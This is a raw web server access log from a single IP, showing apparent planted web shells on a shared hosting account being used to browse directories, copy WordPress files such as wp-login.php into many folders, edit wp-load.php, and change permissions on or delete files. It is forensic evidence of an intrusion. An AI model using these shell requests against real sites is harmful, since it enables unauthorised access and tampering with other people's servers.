45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9551 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&option=file HTTP/1.1" 200 6457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 18818 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 6458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /big-wife.com.tw/text-kernel/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel%2F HTTP/1.1" 200 6425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11410 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20260 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12301 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20467 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11423 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20556 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 12314 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20556 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11410 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11330 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11337 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:37 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 17011 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?edit=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 13414 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?chmod=acme-challenge&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known&upload= HTTP/1.1" 200 12182 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11920 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /big-wife.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /big-wife.com.tw/.well-known/ HTTP/1.1" 200 782 "https://163.245.207.76:443/big-wife.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?del=acme-challenge&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12595 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12085 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 12301 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?edit=mah.php&p=big-wife.com.tw HTTP/1.1" 200 24350 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 28081 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11375 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20556 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p= HTTP/1.1" 200 12311 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20742 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7999 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7822 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2F.686359038081706.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 7398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 7030 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 33907 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 28794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:39 -0400] "GET /bossini.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade%2F HTTP/1.1" 200 46981 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
